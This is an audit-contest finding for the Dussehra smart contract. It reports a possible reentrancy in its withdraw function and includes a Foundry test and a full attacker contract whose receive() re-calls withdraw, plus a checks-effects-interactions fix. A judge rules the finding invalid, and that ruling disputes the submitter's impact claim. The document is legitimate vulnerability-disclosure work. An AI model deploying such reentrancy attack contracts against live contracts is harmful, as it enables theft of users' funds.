First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: low
Invalid

Possible reentrancy in `Dussehra::withdraw`

paprikrumplikas

Summary

Dussehra::withdraw can be reentered by a malicious contract if it has been selected as Ram.

Vulnerability Details

Dussehra::withdraw does not follow the CEI (checks-effects-interactions) pattern.
Consequently, a malicious Ram can reenter the function.

This is demonstrated by the following code:

Proof of Code
function test_ReentrancyAttack() public {
// setup attacker contract
address attacker = makeAddr("attacker");
vm.prank(attacker);
ReentrancyAttack attackerContract = new ReentrancyAttack(address(dussehra), address(choosingRam));
vm.deal(address(attackerContract), 1 ether);
​
// set up users
vm.deal(player1, 1 ether);
vm.deal(player2, 1 ether);
​
// users and attacker enter the event
vm.prank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(attacker);
attackerContract.enterEvent();
​
// attacker is selected as Ram
vm.prank(organiser);
vm.warp(1728691200 + 1);
choosingRam.selectRamIfNotSelected();
assertEq(choosingRam.selectedRam(), address(attackerContract));
​
// Kill Ravan
dussehra.killRavana();
​
// suppose more funds entered the Dussehra contract after Ravan was killed
// @note vm.deal sets the balance to the specified value, does not add the specified value to existing bal
vm.deal(address(dussehra), address(dussehra).balance + 1.5 ether);
​
// Trigger the reentrancy attack
vm.prank(attacker);
attackerContract.triggerAttack();
}
Reentrant contract
​
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
​
contract ReentrancyAttack is IERC721Receiver {
Dussehra public dussehra;
ChoosingRam public choosingRam;
​
address public owner;
bool public attackTriggered;
​
constructor(address _dussehra, address _choosingRam) {
dussehra = Dussehra(_dussehra);
choosingRam = ChoosingRam(_choosingRam);
owner = msg.sender;
}
​
receive() external payable {
if (!attackTriggered) {
attackTriggered = true;
dussehra.withdraw();
}
}
​
function enterEvent() external {
require(msg.sender == owner, "Only owner can challenge others");
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
}
​
function challengeOthers(uint256 ownTokenId, uint256 otherTokenId) external {
require(msg.sender == owner, "Only owner can initiate challenge");
choosingRam.increaseValuesOfParticipants(ownTokenId, otherTokenId);
}
​
function triggerAttack() external {
require(msg.sender == owner, "Only owner can trigger the attack");
dussehra.withdraw();
}
​
// withdraw ETH from this contract
function withdraw() external {
require(msg.sender == owner, "Only owner can withdraw");
payable(owner).transfer(address(this).balance);
}
​
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
override
returns (bytes4)
{
//emit Received(operator, from, tokenId, data, gasleft());
return this.onERC721Received.selector;
}
}
​

Impact

A malicious contract can witdraw the exact multiple(s) of the intended reward amount (totalAmountByThePeople / 2) from the Dussehra contract.

However, there is but a slim possibility for this to happen, as

  • the malicious contract needs to be selected as Ram for the event, and

  • the Dussehra contract needs to have at least twice the indended reward amount on its ETH balance. This can only happen under special circumstances:

-- if users keep calling Dussehra::enterPeopleWhoLikeRam after Ravan has been killed (Dussehra::KillRavana successfully executed), and/or

-- users send ETH directly to Dussehra.

It is very unlikely that enough amount (totalAmountByThePeople / 2) will be collected this way.

However, if any meaningful amount X ends up in the contract this way but this X it is less than totalAmountByThePeople / 2, the attacker can send an amount oftotalAmountByThePeople / 2 - X ETH to Dussehra to extract an extra profit of X.

Tools Used

Manual review, Foundry.

Recommendations

To prevent possible reentrancy attacks, perform the following modifications in Dussehra:

function withdraw() public RamIsSelected OnlyRam RavanKilled {
if (totalAmountGivenToRam == 0) {
revert Dussehra__AlreadyClaimedAmount();
}
uint256 amount = totalAmountGivenToRam;
+ totalAmountGivenToRam = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send money to Ram");
- totalAmountGivenToRam = 0;
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

Invalid - reentrancy in withdraw

The `withdraw` function sends the given amount to Ram. If the attacker calls the `withdraw` function again before the state variable is changed, the function will revert because there are no more funds in the contract. This reentrancy has no impact for the protocol. It is recommended to follow the CEI pattern, but this is informational.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.